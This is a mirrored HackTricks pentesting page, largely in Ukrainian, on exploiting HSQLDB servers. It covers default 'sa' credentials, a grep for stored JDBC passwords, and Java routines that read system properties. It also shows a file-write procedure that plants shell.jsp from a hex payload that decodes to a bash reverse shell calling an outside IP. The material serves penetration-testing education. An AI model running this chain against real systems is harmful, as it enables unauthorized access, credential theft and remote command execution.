mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
96 lines
6.8 KiB
Markdown
96 lines
6.8 KiB
Markdown
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
|
||
# Основна інформація
|
||
|
||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску, а також підтримує вбудовані та серверні режими.
|
||
|
||
**Порт за замовчуванням:** 9001
|
||
```text
|
||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||
```
|
||
# Інформація
|
||
|
||
### Налаштування за замовчуванням
|
||
|
||
Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам'яті або прив'язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї.
|
||
|
||
Налаштування за замовчуванням зазвичай `sa` з порожнім паролем.
|
||
|
||
Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи
|
||
```text
|
||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||
```
|
||
Зверніть увагу на назву бази даних - вона знадобиться для підключення.
|
||
|
||
# Збір інформації
|
||
|
||
Підключіться до екземпляра БД, завантаживши [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) та витягнувши `hsqldb/lib/hsqldb.jar`. Запустіть GUI додаток \(eww\) за допомогою `java -jar hsqldb.jar` і підключіться до екземпляра, використовуючи виявлені/слабкі облікові дані.
|
||
|
||
Зверніть увагу, що URL підключення виглядатиме приблизно так для віддаленої системи: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||
|
||
# Хитрощі
|
||
|
||
## Рутини мови Java
|
||
|
||
Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми.
|
||
|
||
JRT можуть бути `функціями` або `процедурами`. Функції можна викликати через SQL-інструкції, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою інструкції `VALUES`.
|
||
|
||
Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою інструкції `CALL`.
|
||
|
||
## Читання властивостей системи Java
|
||
|
||
Створіть функцію:
|
||
```text
|
||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||
DETERMINISTIC NO SQL
|
||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||
```
|
||
Виконати функцію:
|
||
```text
|
||
VALUES(getsystemproperty('user.name'))
|
||
```
|
||
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||
|
||
## Запис вмісту у файл
|
||
|
||
You can use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget located in the JDK \(auto loaded into the class path of the application\) to write hex-encoded items to disk via a custom procedure. **Зверніть увагу на максимальний розмір 1024 байти**.
|
||
|
||
Create procedure:
|
||
```text
|
||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||
```
|
||
Виконати процедуру:
|
||
```text
|
||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||
```
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|